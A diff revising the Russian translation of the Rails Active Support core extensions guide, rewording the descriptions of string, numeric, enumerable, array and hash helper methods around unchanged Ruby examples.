# => "World" @@ -1142,7 +1142,7 @@ NOTE: Определено в `active_support/core_ext/string/filters.rb`. ### `squish` -Метод `String#squish` отсекает начальные и конечные пробелы и заменяет каждый ряд пробелов единственным пробелом: +Метод `squish` отсекает начальные и конечные пробелы, а также заменяет внутренние пробелы на один пробел: ```ruby " \n foo\n\r \t bar \n".squish # => "foo bar" @@ -1156,7 +1156,7 @@ NOTE: Определено в `active_support/core_ext/string/filters.rb`. ### `truncate` -Метод `truncate` возвращает копию получателя, сокращенную после заданной `длины`: +Метод `truncate` возвращает копию получателя, сокращенную после заданного `length`: ```ruby "Oh dear! Oh dear! I shall be late!".truncate(20) @@ -1170,7 +1170,7 @@ NOTE: Определено в `active_support/core_ext/string/filters.rb`. # => "Oh dear! Oh …" ``` -Отметьте, что сокращение берет в счет длину строки omission. +Отметьте, что сокращение учитывает длину строки omission. Передайте `:separator` для сокращения строки по естественным разрывам: @@ -1226,7 +1226,7 @@ NOTE: Определено в `active_support/core_ext/string/filters.rb`. ### `inquiry` -Метод `inquiry` конвертирует строку в объект `StringInquirer`, позволяя красивые проверки. +Метод `inquiry` конвертирует строку в объект `StringInquirer`, делая проверки равенства более красивыми. ```ruby "production".inquiry.production? # => true @@ -1235,7 +1235,7 @@ NOTE: Определено в `active_support/core_ext/string/filters.rb`. ### `starts_with?` и `ends_with?` -Active Support определяет псевдонимы `String#start_with?` и `String#end_with?` (в связи с особенностями английской морфологии, изменяет глаголы в форму 3 лица): +Active Support определяет псевдонимы `String#start_with?` и `String#end_with?` (в связи с особенностями английской морфологии, преобразует глаголы в форму 3-го лица): ```ruby "foo".starts_with?("f") # => true @@ -1246,7 +1246,7 @@ NOTE: Определено в `active_support/core_ext/string/starts_ends_with.r ### `strip_heredoc` -Метод `strip_heredoc` обрезает отступы в heredoc-ах. +Метод `strip_heredoc` обрезает отступы в heredocs. Для примера в @@ -1264,7 +1264,7 @@ end пользователь увидит используемое сообщение, выровненное по левому краю. -Технически это выглядит как выделение красной строки в отдельную строку и удаление всех впереди идущих пробелов. +Технически это выглядит как выделение красной строки в отдельную строку и удаление всех впередиидущих пробелов. NOTE: Определено в `active_support/core_ext/string/strip.rb`. @@ -1284,7 +1284,7 @@ EOS end ``` -Второй аргумент, `indent_string`, определяет, какую строку использовать для отступа. По умолчанию `nil`, что сообщает методу самому догадаться на основе первой строчки с отступом, а если такой нет, то использовать пробел. +Второй аргумент, `indent_string`, определяет, какой отступ строки использовать. По умолчанию `nil`, что сообщает методу самому догадаться на основе первой строчки с отступом, а если такой нет, то использовать пробел. ```ruby " foo".indent(2) # => " foo" @@ -1292,7 +1292,7 @@ EOS "foo".indent(2, "\t") # => "\t\tfoo" ``` -Хотя `indent_string` обычно один пробел или табуляция, он может быть любой строкой. +Хотя `indent_string` это обычно один пробел или табуляция, он может быть любой строкой. Третий аргумент, `indent_empty_lines`, это флажок, указывающий, должен ли быть отступ для пустых строчек. По умолчанию false. @@ -1301,7 +1301,7 @@ EOS "foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar" ``` -Метод `indent!` делает отступы в той же строке. +Метод `indent!` добавляет отступ строке. NOTE: Определено в `active_support/core_ext/string/indent.rb`. @@ -1362,7 +1362,7 @@ NOTE: Определено в `active_support/core_ext/string/access.rb`. #### `pluralize` -Метод `pluralize` возвращает множественное число его получателя: +Метод `pluralize` возвращает множественное число получателя: ```ruby "table".pluralize # => "tables" @@ -1370,7 +1370,7 @@ NOTE: Определено в `active_support/core_ext/string/access.rb`. "equipment".pluralize # => "equipment" ``` -Как показывает предыдущий пример, Active Support знает некоторые неправильные множественные числа и неисчислимые существительные. Встроенные правила могут быть расширены в `config/initializers/inflections.rb`. Этот файл генерируется командой `rails` и имеет инструкции в комментариях. +Как показывает предыдущий пример, Active Support знает некоторые неправильные множественные числа и неисчисляемые существительные. Встроенные правила могут быть расширены в `config/initializers/inflections.rb`. Этот файл генерируется командой `rails` и имеет инструкции в комментариях. `pluralize` также может принимать опциональный параметр `count`. Если `count == 1`, будет возвращена единственная форма. Для остальных значений `count` будет возвращена множественная форма: @@ -1380,7 +1380,7 @@ NOTE: Определено в `active_support/core_ext/string/access.rb`. "dude".pluralize(2) # => "dudes" ``` -Active Record использует этот метод для вычисления имени таблицы по умолчанию, соответствующей модели: +Active Record использует этот метод для вычисления дефолтного имени таблицы, соответствующей модели: ```ruby # active_record/model_schema.rb @@ -1402,7 +1402,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. "equipment".singularize # => "equipment" ``` -Связи вычисляют имя соответствующего связанного класса по умолчанию используя этот метод: +Связи вычисляют имя соответствующего связанного дефолтного класса, используя этот метод: ```ruby # active_record/reflection.rb @@ -1417,7 +1417,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. #### `camelize` -Метод `camelize` возвращает его получателя в стиле CamelCase: +Метод `camelize` возвращает получателя в стиле CamelCase: ```ruby "product".camelize # => "Product" @@ -1441,15 +1441,15 @@ def session_store=(store) end ``` -`camelize` принимает необязательный аргумент, он может быть `:upper` (по умолчанию) или `:lower`. С последним первая буква остается прописной: +`camelize` принимает необязательный аргумент, он может быть `:upper` (по умолчанию) или `:lower`. В последнем случае первая буква становится строчной: ```ruby "visual_effect".camelize(:lower) # => "visualEffect" ``` -Это удобно для вычисления имен методов в языке, следующем такому соглашению, например JavaScript. +Это может быть удобно для вычисления имен методов на языке, который следует такому соглашению, например JavaScript. -INFO: Как правило можно рассматривать `camelize` как противоположность `underscore`, хотя имеются случаи, когда это не так: `"SSLError".underscore.camelize` возвратит `"SslError"`. Для поддержки случаев, подобного этому, Active Support предлагает определить акронимы в `config/initializers/inflections.rb` +INFO: Как правило, можно рассматривать `camelize` как противоположность `underscore`, хотя бывают случаи, когда это не так: `"SSLError".underscore.camelize` возвращает `"SslError"`. Для поддержки подобных случаев, Active Support позволяет указывать акронимы в `config/initializers/inflections.rb` ```ruby ActiveSupport::Inflector.inflections do |inflect| @@ -1465,7 +1465,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. #### `underscore` -Метод `underscore` идет обратным путем, от CamelCase к путям: +Метод `underscore`, наоборот, от CamelCase к путям: ```ruby "Product".underscore # => "product" @@ -1498,7 +1498,7 @@ def load_missing_constant(from_mod, const_name) end ``` -INFO: Как правило, рассматривайте `underscore` как противоположность `camelize`, хотя имеются случаи, когда это не так. Например, `"SSLError".underscore.camelize` возвратит `"SslError"`. +INFO: Как правило, рассматривайте `underscore` как противоположность `camelize`, хотя бывают случаи, когда это не так. Например, `"SSLError".underscore.camelize` возвратит `"SslError"`. NOTE: Определено в `active_support/core_ext/string/inflections.rb`. @@ -1549,7 +1549,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. ``` -Active Record к примеру, использует этот метод для вычисления имени столбца кэширования счетчика: +Active Record, к примеру, использует этот метод для вычисления имени столбца кэширования счетчика: ```ruby # active_record/reflection.rb @@ -1585,7 +1585,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. "Kurt Gödel".parameterize # => "kurt-godel" ``` -Чтобы сохранить регистр строки, установите аргументу `preserve_case` true. По умолчанию `preserve_case` установлен false. +Чтобы сохранить регистр строки, установите аргумент `preserve_case` в true. По умолчанию `preserve_case` установлен в false. ```ruby "John Smith".parameterize(preserve_case: true) # => "John-Smith" @@ -1613,7 +1613,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. "InvoiceLine".tableize # => "invoice_lines" ``` -Как правило, `tableize` возвращает имя таблицы, соответствующей заданной модели для простых случаев. В действительности фактическое применение в Active Record не является прямым `tableize`, так как он также демодулизирует имя класса и проверяет несколько опций, которые могут повлиять на возвращаемую строку. +Как правило, `tableize` возвращает имя таблицы, соответствующей заданной модели для простых случаев. На самом деле фактическая реализация в Active Record не является прямым `tableize`, так как он также демодулизирует имя класса и проверяет несколько опций, которые могут повлиять на возвращаемую строку. NOTE: Определено в `active_support/core_ext/string/inflections.rb`. @@ -1627,7 +1627,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. "invoice_lines".classify # => "InvoiceLine" ``` -Метод понимает правильные имена таблицы: +Метод понимает полные имена таблиц: ```ruby "highrise_production.companies".classify # => "Company" @@ -1650,7 +1650,7 @@ end "M::X".constantize # => 1 ``` -Если строка определяет неизвестную константу, или ее содержимое даже не является валидным именем константы, `constantize` вызывает `NameError`. +Если строка выполняет неизвестную константу, или ее содержимое даже не является валидным именем константы, `constantize` вызывает `NameError`. Анализ имени константы с помощью `constantize` начинается всегда с верхнего уровня `Object`, даже если нет предшествующих "::". @@ -1686,14 +1686,14 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. А в частности выполняет эти преобразования: - * Применяет словообразовательные правила к аргументу. + * Применяет правила словоизменения к аргументу. * Удаляет любые предшествующие знаки подчеркивания. - * убирает суффикс "\_id". + * Убирает суффикс "\_id". * Заменяет знаки подчеркивания пробелами. - * Переводит в нижний регистр все слова, кроме аббревиатур. + * Переводит в нижний регистр все слова, кроме акронимов. * Озаглавливает первое слово. -Озаглавливание первого слова может быть выключено с помощью установки опционального параметра `capitalize` в false (по умолчанию true). +Озаглавливание первого слова может быть выключено с помощью установки опции `:capitalize` в false (по умолчанию true). ```ruby "name".humanize # => "Name" @@ -1703,7 +1703,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. "_id".humanize # => "Id" ``` -Если "SSL" был определен как аббревиатура: +Если "SSL" был определен как акроним: ```ruby 'ssl_error'.humanize # => "SSL error" @@ -1726,7 +1726,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. #### `foreign_key` -Метод `foreign_key` дает имя столбца внешнего ключа из имени класса. Для этого он демодулизирует, подчеркивает и добавляет "\_id": +Метод `foreign_key` дает имя столбца внешнего ключа из имени класса. Чтобы это сделать он демодулизирует, подчеркивает и добавляет "\_id": ```ruby "User".foreign_key # => "user_id" @@ -1761,7 +1761,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. "2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000 ``` -`to_time` получает необязательный аргумент `:utc` или `:local`, для указания, в какой временной зоне вы хотите время: +`to_time` получает необязательный аргумент `:utc` или `:local`, для указания, время какой временной зоны необходимо: ```ruby "2010-07-27 23:42:00".to_time(:utc) # => 2010-07-27 23:42:00 UTC @@ -1770,7 +1770,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. По умолчанию `:utc`. -Пожалуйста, обратитесь к документации по `Date._parse` для детальных подробностей. +Пожалуйста, обратитесь к документации по `Date._parse` для получения дополнительной информации. INFO: Все три возвратят `nil` для пустых получателей. @@ -1812,9 +1812,9 @@ NOTE: Определено в `active_support/core_ext/numeric/bytes.rb`. ### Время -Включает использование вычисления и объявления времени, подобно `45.minutes + 2.hours + 4.years`. +Включает возможность вычисления и объявления времени, подобно `45.minutes + 2.hours + 4.years`. -Эти методы используют Time#advance для уточнения вычисления дат с использованием from_now, ago, и т. д., а также для сложения или вычитания их результата из объекта Time. Например: +Эти методы используют Time#advance для точного вычисления дат с использованием from_now, ago, и т. д., а также для сложения или вычитания их результата из объекта Time. Например: ```ruby # эквивалент для Time.current.advance(months: 1) @@ -1833,7 +1833,7 @@ NOTE: Определено в `active_support/core_ext/numeric/time.rb` Включает форматирование чисел различными способами. -Создает строковое представление числа, как телефонного номера: +Преобразует число в строковое представление телефонного номера: ```ruby 5551234.to_s(:phone) @@ -1850,7 +1850,7 @@ NOTE: Определено в `active_support/core_ext/numeric/time.rb` # => +1-123-555-1234 ``` -Создает строковое представление числа, как валюты: +Преобразует число в строковое представление валюты: ```ruby 1234567890.50.to_s(:currency) # => $1,234,567,890.50 @@ -1858,7 +1858,7 @@ NOTE: Определено в `active_support/core_ext/numeric/time.rb` 1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,890.506 ``` -Создает строковое представление числа, как процента: +Преобразует число в строковое представление процентов: ```ruby 100.to_s(:percentage) @@ -1871,7 +1871,7 @@ NOTE: Определено в `active_support/core_ext/numeric/time.rb` # => 302.24399% ``` -Создает строковое представление числа с разделенными разрядами: +Преобразует число в строковое представление числа с разделенными разрядами: ```ruby 12345678.to_s(:delimited) # => 12,345,678 @@ -1881,7 +1881,7 @@ NOTE: Определено в `active_support/core_ext/numeric/time.rb` 12345678.05.to_s(:delimited, separator: " ") # => 12,345,678 05 ``` -Создает строковое представление числа, округленного с точностью: +Преобразует число в строковое представление числа, округленного с определенной точностью: ```ruby 111.2345.to_s(:rounded) # => 111.235 @@ -1891,7 +1891,7 @@ NOTE: Определено в `active_support/core_ext/numeric/time.rb` 111.2345.to_s(:rounded, significant: true) # => 111 ``` -Создает строковое представление числа, как удобочитаемое количество байт: +Преобразует число в строковое представление с удобочитаемым количеством байт: ```ruby 123.to_s(:human_size) # => 123 Bytes @@ -1904,7 +1904,7 @@ NOTE: Определено в `active_support/core_ext/numeric/time.rb` 1234567890123456789.to_s(:human_size) # => 1.07 EB ``` -Создает строковое представление числа, как удобочитаемое число словами: +Преобразует число в строковое представление с удобочитаемым числом слов: ```ruby 123.to_s(:human) # => "123" @@ -1923,7 +1923,7 @@ NOTE: Определено в `active_support/core_ext/numeric/conversions.rb`. ### `multiple_of?` -Метод `multiple_of?` тестирует, является ли число множителем аргумента: +Метод `multiple_of?` тестирует, является ли целое число множителем аргумента: ```ruby 2.multiple_of?(1) # => true @@ -1934,7 +1934,7 @@ NOTE: Определено в `active_support/core_ext/integer/multiple.rb`. ### `ordinal` -Метод `ordinal` возвращает суффикс порядковой строки, соответствующей полученному числу: +Метод `ordinal` возвращает суффикс порядковой строки, соответствующей полученному целому числу: ```ruby 1.ordinal # => "st" @@ -1949,7 +1949,7 @@ NOTE: Определено в `active_support/core_ext/integer/inflections.rb`. ### `ordinalize` -Метод `ordinalize` возвращает порядковые строки, соответствующие полученному числу. Для сравнения отметьте, что метод `ordinal` возвращает **только** строковый суффикс. +Метод `ordinalize` возвращает порядковую строку, соответствующую полученному целому числу. Для сравнения отметьте, что метод `ordinal` возвращает **только** строковый суффикс. ```ruby 1.ordinalize # => "1st" @@ -1963,17 +1963,17 @@ NOTE: Определено в `active_support/core_ext/integer/inflections.rb`. NOTE: Определено в `active_support/core_ext/integer/inflections.rb`. Расширения для `BigDecimal` --------------------------- +--------------------------- ### `to_s` -Метод `to_s` предоставляет спецификатор по умолчанию для "F". Это означает, что простой вызов `to_s` выведет представление с плавающей запятой вместо инженерной нотации: +Метод `to_s` предоставляет спецификатор по умолчанию для "F". Это означает, что простой вызов `to_s` приведет к представлению с плавающей запятой вместо инженерной нотации: ```ruby BigDecimal.new(5.00, 6).to_s # => "5.0" ``` -а также поддерживаются эти символьные спецификаторы: +а также поддерживаются эти спецификаторы символа: ```ruby BigDecimal.new(5.00, 6).to_s(:db) # => "5.0" @@ -1986,7 +1986,7 @@ BigDecimal.new(5.00, 6).to_s("e") # => "0.5E1" ``` Расширения для `Enumerable` -------------------------- +--------------------------- ### `sum` @@ -2038,7 +2038,7 @@ invoices.index_by(&:number) # => {'2009-032' => , '2009-008' => , ...} ``` -WARNING. Ключи, как правило, должны быть уникальными. Если блок возвратит то же значение для нескольких элементов, для этого ключа не будет построена коллекция. Победит последний элемент. +WARNING. Ключи, как правило, должны быть уникальными. Если блок возвратит одно и то же значение для нескольких элементов, для этого ключа не будет построена коллекция. А значение получит последний элемент. NOTE: Определено в `active_support/core_ext/enumerable.rb`. @@ -2052,7 +2052,7 @@ NOTE: Определено в `active_support/core_ext/enumerable.rb`. <% end %> ``` -Если задан необязательный блок `many?` принимает во внимание только те элементы, которые возвращают true: +Если задан необязательный блок, `many?` учитывает только те элементы, которые возвращают true: ```ruby @see_more = videos.many? {|video| video.category == params[:category]} @@ -2072,7 +2072,7 @@ NOTE: Определено в `active_support/core_ext/enumerable.rb`. ### `without` -Метод `without` возвращает копию коллекции с удаленными указанными элементами: +Метод `without` возвращает копию перечисления без указанных элементов: ```ruby ["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"] @@ -2091,18 +2091,18 @@ NOTE: Определено в `active_support/core_ext/enumerable.rb`. NOTE: Определено в `active_support/core_ext/enumerable.rb`. Расширения для `Array` ---------------------- +---------------------- ### Доступ -Active Support расширяет API массивов для облегчения различных путей доступа к ним. Например, `to` возвращает подмассив элементов от первого до переданного индекса: +Active Support расширяет API массивов для облегчения нескольких способов доступа к ним. Например, `to` возвращает подмассив элементов от первого до переданного индекса: ```ruby %w(a b c d).to(2) # => ["a", "b", "c"] [].to(7) # => [] ``` -Подобным образом `from` возвращает хвост массива от элемента с переданным индексом: +По аналогии, `from` возвращает хвост массива, количество элементов которого равно переданному индексу. Если индекс больше длины массива, возвращается пустой массив. ```ruby %w(a b c d).from(2) # => ["c", "d"] @@ -2110,7 +2110,7 @@ Active Support расширяет API массивов для облегчени [].from(0) # => [] ``` -Методы `second`, `third`, `fourth` и `fifth` возвращают соответствующие элементы, также как `second_to_last` и `third_to_last` (`first` и `last` являются встроенными). Благодаря социальной мудрости и всеобщей позитивной конструктивности, `forty_two` также доступен. +Методы `second`, `third`, `fourth` и `fifth` возвращают соответствующие элементы, так же как `second_to_last` и `third_to_last` (`first` и `last` являются встроенными). Благодаря [социальной мудрости и всеобщей позитивной конструктивности](https://ru.wikipedia.org/wiki/Ответ_на_главный_вопрос_жизни,_вселенной_и_всего_такого), `forty_two` также доступен. ```ruby %w(a b c d).third # => "c" @@ -2167,7 +2167,7 @@ def caches_action(*actions) end ``` -Этот метод получает определенное число имен экшнов и необязательный хэш опций как последний аргумент. Вызвав `extract_options!` получаем хэш опций и убираем его из `actions` просто и ясно. +Этот метод получает произвольное число имен экшнов и необязательный хэш опций как последний аргумент. Вызвав `extract_options!`, получаем хэш опций и убираем его из `actions` простым и явным способом. NOTE: Определено в `active_support/core_ext/array/extract_options.rb`. @@ -2175,7 +2175,7 @@ NOTE: Определено в `active_support/core_ext/array/extract_options.rb` #### `to_sentence` -Метод `to_sentence` превращает массив в строку, содержащую выражение, перечисляющее его элементы: +Метод `to_sentence` превращает массив в строку, содержащую предложение, в котором перечисляются элементы массива: ```ruby %w().to_sentence # => "" @@ -2190,7 +2190,7 @@ NOTE: Определено в `active_support/core_ext/array/extract_options.rb` * `:words_connector`: Что используется для соединения элементов массивов с 3 и более элементами, кроме последних двух. По умолчанию ", ". * `:last_word_connector`: Что используется для соединения последних элементов массива из 3 и более элементов. По умолчанию ", and ". -Умолчания для этих опций могут быть локализованы, их ключи следующие: +По умолчанию эти опции могут быть локализованы, их ключи следующие: | Опция | Ключ I18n | | ---------------------- | ----------------------------------- | @@ -2212,7 +2212,7 @@ NOTE: Определено в `active_support/core_ext/array/conversions.rb`. invoice.lines.to_formatted_s(:db) # => "23,567,556,12" ``` -Цифры в примере выше предполагаются пришедшими от соответствующих вызовов `id`. +Целые числа в примере выше предполагается, что приходят от соответствующих вызовов `id`. NOTE: Определено в `active_support/core_ext/array/conversions.rb`. @@ -2242,9 +2242,9 @@ Contributor.limit(2).order(:rank).to_xml Чтобы это сделать, он посылает `to_xml` к каждому элементу за раз и собирает результаты в корневом узле. Все элементы должны откликаться на `to_xml`, иначе будет вызвано исключение. -По умолчанию имя корневого элемента будет версией имени класса первого элемента во множественном числе, подчеркиваниями и дефисами, при условии что остальные элементы принадлежат этому типу (проверяется с помощью `is_a?`) и они не хэши. В примере выше это "contributors". +По умолчанию имя корневого элемента - это подчеркнутое и `dasherize` имя класса первого элемента во множественном числе, при условии что остальные элементы принадлежат этому типу (проверяется с помощью `is_a?`) и они не являются хэшами. В примере выше это "contributors". -Если имеется любой элемент, не принадлежащий типу первого, корневой узел становится "objects": +Если есть какой-либо элемент, не принадлежащий типу первого, корневой узел становится "objects": ```ruby [Contributor.first, Commit.first].to_xml @@ -2272,7 +2272,7 @@ Contributor.limit(2).order(:rank).to_xml # ``` -Если получатель является массивом хэшей, корневой узел по умолчанию также "objects": +Если получатель является массивом хэшей, корневой элемент по умолчанию также "objects": ```ruby [{a: 1, b: 2}, {c: 3}].to_xml @@ -2289,9 +2289,9 @@ Contributor.limit(2).order(:rank).to_xml # ``` -WARNING. Если коллекция пустая, корневой элемент по умолчанию "nil-classes". Пример для понимания, корневой элемент для вышеописанного списка распространителей не будет "contributors", если коллекция пустая, а "nil-classes". Можно использовать опцию `:root`, чтобы обеспечить то, что будет соответствовать корневому элементу. +WARNING. Если коллекция пустая, корневой элемент по умолчанию "nil-classes". Пример для понимания, корневой элемент вышеописанного списка вкладчиков будет не "contributors", если коллекция пустая, а "nil-classes". Можно использовать опцию `:root` для обеспечения согласованного корневого элемента. -Имя дочерних узлов по умолчанию является именем корневого узла в единственном числе. В вышеописанных примерах мы видели "contributor" и "object'. Опция `:children` позволяет установить эти имена узлов. +Имя дочерних узлов по умолчанию является именем корневого узла в единственном числе. В вышеприведенных примерах мы видели "contributor" и "object". Опция `:children` позволяет установить эти имена узлов. По умолчанию билдер XML является свежим экземпляром `Builder::XmlMarkup`. Можно сконфигурировать свой собственный билдер через опцию `:builder`. Метод также принимает опции, такие как `:dasherize` и ему подобные, они перенаправляются в билдер: @@ -2319,7 +2319,7 @@ NOTE: Определено в `active_support/core_ext/array/conversions.rb`. ### Оборачивание -Метод `Array.wrap` оборачивает свои аргументы в массив, кроме случая, когда это уже массив (или подобно массиву). +Метод `Array.wrap` оборачивает свои аргументы в массив, кроме случая когда это уже массив (или массивоподобные). А именно: @@ -2335,11 +2335,11 @@ Array.wrap(0) # => [0] Этот метод похож на `Kernel#Array`, но с некоторыми отличиями: -* Если аргумент откликается на `to_ary`, метод вызывается. `Kernel#Array` начинает пробовать `to_a`, если вернувшееся значение `nil`, а `Arraw.wrap` возвращает массив с этим аргументом в качестве одного элемента в любом случае. -* Если возвращаемое значение от `to_ary` и не `nil`, и не объект `Array`, `Kernel#Array` вызывает исключение, в то время как `Array.wrap` нет, он просто возвращает значение. -* Он не вызывает `to_a` на аргументе, если аргумент не откликается на `to_ary`, то возвращает массив с этим аргументом в качестве одного элемента. +* Если аргумент откликается на `to_ary`, метод вызывается. `Kernel#Array` начинает пробовать `to_a`, если вернувшееся значение `nil`, а `Arraw.wrap` сразу возвращает массив с аргументом в качестве единственного элемента. +* Если возвращаемое значение от `to_ary` и не `nil`, и не объект `Array`, то `Kernel#Array` вызывает исключение, в то время как `Array.wrap` нет, он просто возвращает значение. +* Он не вызывает `to_a` на аргументе, если аргумент не откликается на `to_ary`, а возвращает массив с аргументом в качестве своего единственного элемента. -Следующий пункт особенно заметен для некоторых перечислений: +Последний пункт особенно заметен для некоторых перечислений: ```ruby Array.wrap(foo: :bar) # => [{:foo=>:bar}] @@ -2354,13 +2354,13 @@ Array(foo: :bar) # => [[:foo, :bar]] который в Ruby 1.8 возвращает `[nil]` для `nil`, а в противном случае вызывает `Array(object)`. (Точное поведение в 1.9 пока непонятно) -Таким образом, в этом случае поведение различается для `nil`, а описанная выше разница с `Kernel#Array` применима к остальным `object`. +Таким образом, в этом случае поведение различается для `nil`, а описанные выше различия с `Kernel#Array` применяются к остальным `object`. NOTE: Определено в `active_support/core_ext/array/wrap.rb`. ### Дублирование -Метод `Array#deep_dup` дублирует себя и все объекты внутри рекурсивно с помощью метода Active Support `Object#deep_dup`. Он работает так же, как `Array#map`, посылая метод `deep_dup` в каждый объект внутри. +Метод `Array#deep_dup` дублирует себя и все объекты внутри рекурсивно с помощью метода Active Support `Object#deep_dup`. Он работает так же, как `Array#map`, посылая метод `deep_dup` для каждого объекта внутри. ```ruby array = [1, [2, 3]] @@ -2381,7 +2381,7 @@ NOTE: Определено в `active_support/core_ext/object/deep_dup.rb`. [1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]] ``` -или вкладывает их по очереди в блок, если он задан: +или выдает их по очереди, если передается блок: ```erb <% sample.in_groups_of(3) do |a, b, c| %> @@ -2418,7 +2418,7 @@ NOTE: Определено в `active_support/core_ext/array/grouping.rb`. # => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]] ``` -или вкладывает их по очереди в блок, если он передан: +или выдает их по очереди, если передается блок: ```ruby %w(1 2 3 4 5 6 7).in_groups(3) {|group| p group} @@ -2427,7 +2427,7 @@ NOTE: Определено в `active_support/core_ext/array/grouping.rb`. ["6", "7", nil] ``` -Примеры выше показывают, что `in_groups` заполняет некоторые группы с помощью заключительного элемента `nil`, если необходимо. Группа может получить не более одного из этих дополнительных элементов, если он будет, то будет стоять справа. Группы, получившие его, будут всегда последние. +Примеры выше показывают, что `in_groups` заполняет некоторые группы с помощью заключительного элемента `nil`, если необходимо. Группа может получить не более одного из этих дополнительных элементов, самый правый, если таковой имеется. И группы, получившие его, будут всегда последние. Можно изменить это набивочное значение, используя второй необязательный аргумент: @@ -2443,7 +2443,7 @@ NOTE: Определено в `active_support/core_ext/array/grouping.rb`. # => [["1", "2", "3"], ["4", "5"], ["6", "7"]] ``` -Как следствие `false` не может быть набивочным значением. +Как следствие, `false` не может быть набивочным значением. NOTE: Определено в `active_support/core_ext/array/grouping.rb`. @@ -2451,7 +2451,7 @@ NOTE: Определено в `active_support/core_ext/array/grouping.rb`. Метод `split` разделяет массив разделителем и возвращает получившиеся куски. -Если передан блок, разделителями будут те элементы, для которых блок возвратит true: +Если передан блок, разделителями будут те элементы массива, для которых блок возвращает true: ```ruby (-5..5).to_a.split { |i| i.multiple_of?(4) } @@ -2465,12 +2465,12 @@ NOTE: Определено в `active_support/core_ext/array/grouping.rb`. # => [[0], [-5], [], ["foo", "bar"]] ``` -TIP: Отметьте в предыдущем примере, что последовательные разделители приводят к пустым массивам. +TIP: Отметьте, в предыдущем примере, что последовательные разделители приводят к пустым массивам. NOTE: Определено в `active_support/core_ext/array/grouping.rb`. Расширения для `Hash` -------------------- +--------------------- ### Конверсия @@ -2488,13 +2488,13 @@ NOTE: Определено в `active_support/core_ext/array/grouping.rb`. # ``` -Для этого метод в цикле проходит пары и создает узлы, зависимые от _value_. Для заданной пары `key`, `value`: +Чтобы это сделать, метод в цикле проходит пары и создает узлы, зависимые от _value_. Для заданной пары `key`, `value`: * Если `value` - хэш, происходит рекурсивный вызов с `key` как `:root`. -* Если `value` - массив, происходит рекурсивный вызов с `key` как `:root` и `key` в единственном числе как `:children`. +* Если `value` - массив, происходит рекурсивный вызов с `key` как `:root`, и `key` в единственном числе как `:children`. * Если `value` - вызываемый объект, он должен ожидать один или два аргумента. В зависимости от ситуации, вызываемый объект вызывается с помощью хэша `options` в качестве первого аргумента с `key` как `:root`, и `key` в единственном числе в качестве второго аргумента. Возвращенное значение становится новым узлом. * Если `value` откликается на `to_xml`, метод вызывается с `key` как `:root`. -* В иных случаях, создается узел с `key` в качестве тега, со строковым представлением `value` в качестве текстового узла. Если `value` является `nil`, добавляется атрибут "nil", установленный в "true". Кроме случаев, когда существует опция `:skip_types` со значением true, добавляется атрибут "type", соответствующий следующему преобразованию: +* В иных случаях, узел с `key` в качестве тега создается со строковым представлением `value` в качестве текстового узла. Если `value` является `nil`, добавляется атрибут "nil", установленный в "true". Кроме случаев, когда существует опция `:skip_types` со значением true, добавляется атрибут "type", соответствующий следующему преобразованию: ```ruby XML_TYPE_NAMES = { @@ -2510,26 +2510,26 @@ XML_TYPE_NAMES = { } ``` -По умолчанию корневым узлом является "hash", но это настраивается с помощью опции `:root`. +По умолчанию корневой узел является "hash", но это настраивается с помощью опции `:root`. -По умолчанию билдер XML является новым экземпляром `Builder::XmlMarkup`. Можно настроить свой собственный билдер с помощью опции `:builder`. Метод также принимает опции, такие как `:dasherize` и ему подобные, они перенаправляются в билдер. +По умолчанию билдер XML является новым экземпляром `Builder::XmlMarkup`. Можно настроить свой собственный билдер с помощью опции `:builder`. Метод также принимает опции, такие как `:dasherize` и ему подобные, они направляются в билдер. NOTE: Определено в `active_support/core_ext/hash/conversions.rb`. ### Объединение -В Ruby имеется встроенный метод `Hash#merge`, объединяющий два хэша: +В Ruby имеется встроенный метод `Hash#merge`, который позволяет объединять два хэша: ```ruby {a: 1, b: 1}.merge(a: 0, c: 2) # => {:a=>0, :b=>1, :c=>2} ``` -Active Support определяет больше способов объединения хэшей, которые могут быть полезными. +Active Support определяет еще несколько способов объединения хэшей, которые могут быть полезными. #### `reverse_merge` и `reverse_merge!` -В случае коллизии, в `merge` побеждает ключ в хэше аргумента. Можно компактно предоставить хэш опций со значением по умолчанию с помощью такой идиомы: +В случае коллизии, в `merge` остается ключ в хэше аргумента. Можно компактно предоставить хэш-опцию со значениями по умолчанию с помощью такой идиомы: ```ruby options = {length: 30, omission: "..."}.merge(options) @@ -2541,7 +2541,7 @@ Active Support определяет `reverse_merge` в случае, если н options = options.reverse_merge(length: 30, omission: "...") ``` -И восклицательная версия `reverse_merge!`, выполняющая объединение на месте: +И вариант с восклицательным знаком `reverse_merge!`, который выполняет объединение, модифицируя на месте: ```ruby options.reverse_merge!(length: 30, omission: "...") @@ -2555,28 +2555,28 @@ NOTE: Определено в `active_support/core_ext/hash/reverse_merge.rb`. Метод `reverse_update` это псевдоним для `reverse_merge!`, описанного выше. -WARNING. Отметьте, что у `reverse_update` нет восклицательного знака. +WARNING. Отметьте, что у `reverse_update` нет варианта с восклицательным знаком. NOTE: Определено в `active_support/core_ext/hash/reverse_merge.rb`. #### `deep_merge` и `deep_merge!` -Как видите в предыдущем примере, если ключ обнаруживается в обоих хэшах, один из аргументов побеждает. +Как можно было видеть в предыдущем примере, если ключ обнаруживается в обоих хэшах, выбирается значение первого из аргументов. -Active Support определяет `Hash#deep_merge`. В углубленном объединении, если обнаруживается ключ в обоих хэшах, и их значения также хэши, то их _merge_ становиться значением в результирующем хэше: +Active Support определяет `Hash#deep_merge`. В 